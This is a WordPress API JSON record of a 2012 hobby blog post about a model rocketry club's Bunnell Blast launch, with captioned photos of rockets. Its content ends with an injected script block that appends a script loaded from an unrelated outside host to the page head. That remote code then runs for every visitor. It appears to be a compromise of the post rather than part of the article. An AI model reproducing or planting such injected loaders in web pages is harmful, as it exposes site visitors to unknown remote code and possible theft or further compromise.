{"id":161,"date":"2012-11-13T12:42:20","date_gmt":"2012-11-13T17:42:20","guid":{"rendered":"http:\/\/www.orlandorocketry.com\/?p=161"},"modified":"2025-11-21T15:11:26","modified_gmt":"2025-11-21T20:11:26","slug":"nefars-bunnell-blast-2012","status":"publish","type":"post","link":"https:\/\/orlandorocketry.com\/?p=161","title":{"rendered":"NEFAR&#8217;s Bunnell Blast 2012"},"content":{"rendered":"<p>Last weekend, NEFAR hosted its\u00a0annual two-day Bunnell Blast launch.<\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101515-003jpg-600-600-110112112913349.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-163\" title=\"Sparrow Launch\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101515-003jpg-600-600-110112112913349.jpg\" alt=\"\" width=\"600\" height=\"398\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101515-003jpg-600-600-110112112913349.jpg 600w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101515-003jpg-600-600-110112112913349-300x199.jpg 300w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101515-003jpg-600-600-110112112913349-452x300.jpg 452w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>Rockets from small to large\u00a0took to the air on Saturday.<\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101456-002jpg-600-600-110312115113863.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-164\" title=\"NEFAR's Bunnell Blast 2012\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101456-002jpg-600-600-110312115113863.jpg\" alt=\"\" width=\"600\" height=\"337\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101456-002jpg-600-600-110312115113863.jpg 600w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101456-002jpg-600-600-110312115113863-300x168.jpg 300w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101456-002jpg-600-600-110312115113863-500x280.jpg 500w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>And even a furry rocket flew &#8230; sort of &#8230;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-162\" title=\"Roger and Bracha's Big Daddy Akavish\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/big-daddy-akavish.jpg\" alt=\"\" width=\"600\" height=\"358\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/big-daddy-akavish.jpg 600w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/big-daddy-akavish-300x179.jpg 300w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/big-daddy-akavish-500x298.jpg 500w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/p>\n<p>Saturday&#8217;s launch lasted into the early evening allowing for spectacular dusk and night launches.<\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101712-000jpg-600-600-110812095513957.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-165\" title=\"Patriot Launch at Dusk\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101712-000jpg-600-600-110812095513957.jpg\" alt=\"\" width=\"600\" height=\"385\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101712-000jpg-600-600-110812095513957.jpg 600w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101712-000jpg-600-600-110812095513957-300x192.jpg 300w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211101712-000jpg-600-600-110812095513957-467x300.jpg 467w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>Gusty wind, unfortunately, provided a challenge for flyers on Sunday.<\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111442-002jpg-600-600-110712115713348.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-166\" title=\"Windy\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111442-002jpg-600-600-110712115713348.jpg\" alt=\"\" width=\"600\" height=\"308\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111442-002jpg-600-600-110712115713348.jpg 600w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111442-002jpg-600-600-110712115713348-300x154.jpg 300w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111442-002jpg-600-600-110712115713348-500x256.jpg 500w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>But, some large rockets still flew including one of Gary Dahlke&#8217;s two-stagers.<\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111238-003jpg-600-600-111112113213986.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-167\" title=\"Gary Dahlke's Two-Stage Rocket\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111238-003jpg-600-600-111112113213986.jpg\" alt=\"\" width=\"324\" height=\"600\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111238-003jpg-600-600-111112113213986.jpg 324w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111238-003jpg-600-600-111112113213986-162x300.jpg 162w\" sizes=\"auto, (max-width: 324px) 100vw, 324px\" \/><\/a><\/p>\n<p>My YouBee, an upscale of the Odd&#8217;l Rockets Break Away, flew on an Aerotech K480W motor.<\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111317-005jpg-600-600-110712092113959.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-168\" title=\"Roger Smith's YouBee\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111317-005jpg-600-600-110712092113959.jpg\" alt=\"\" width=\"412\" height=\"600\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111317-005jpg-600-600-110712092113959.jpg 412w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111317-005jpg-600-600-110712092113959-206x300.jpg 206w\" sizes=\"auto, (max-width: 412px) 100vw, 412px\" \/><\/a><\/p>\n<p>Robb Haskins flew his Cluster Thrust on a cluster of four motors.<\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111318-004jpg-600-600-110412092513777.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-170\" title=\"Robb Haskins' Cluster Thrust\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111318-004jpg-600-600-110412092513777.jpg\" alt=\"\" width=\"600\" height=\"398\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111318-004jpg-600-600-110412092513777.jpg 600w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111318-004jpg-600-600-110412092513777-300x199.jpg 300w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111318-004jpg-600-600-110412092513777-452x300.jpg 452w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>Now, it&#8217;s time to start preparing for Bunnell Blast 2013!<\/p>\n<p><a href=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111441-000jpg-600-600-1140121227135871.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-172\" title=\"Bunnell Blast 2012\" src=\"http:\/\/www.orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111441-000jpg-600-600-1140121227135871.jpg\" alt=\"\" width=\"600\" height=\"168\" srcset=\"https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111441-000jpg-600-600-1140121227135871.jpg 600w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111441-000jpg-600-600-1140121227135871-300x84.jpg 300w, https:\/\/orlandorocketry.com\/wp-content\/uploads\/2012\/11\/image-201211111441-000jpg-600-600-1140121227135871-500x140.jpg 500w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/a><\/p>\n<p>\u00a0To see more photos from the launch, please visit the <a title=\"Bunnell Blast 2012 Photos\" href=\"http:\/\/www.rocketreviews.com\/bunnell-blast-2012.html\">NEFAR Bunnell Blast 2012 Photo Album<\/a> at RocketReviews.com.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Last weekend, NEFAR hosted its\u00a0annual two-day Bunnell Blast launch. Rockets from small to large\u00a0took to the air on Saturday. And even a furry rocket flew &#8230; sort of &#8230; Saturday&#8217;s launch lasted into the early evening allowing for spectacular dusk and night launches. Gusty wind, unfortunately, provided a challenge for flyers on Sunday. But, some [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-161","post","type-post","status-publish","format-standard","hentry"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=\/wp\/v2\/posts\/161","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=161"}],"version-history":[{"count":4,"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=\/wp\/v2\/posts\/161\/revisions"}],"predecessor-version":[{"id":8153,"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=\/wp\/v2\/posts\/161\/revisions\/8153"}],"wp:attachment":[{"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=161"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=161"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/orlandorocketry.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=161"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}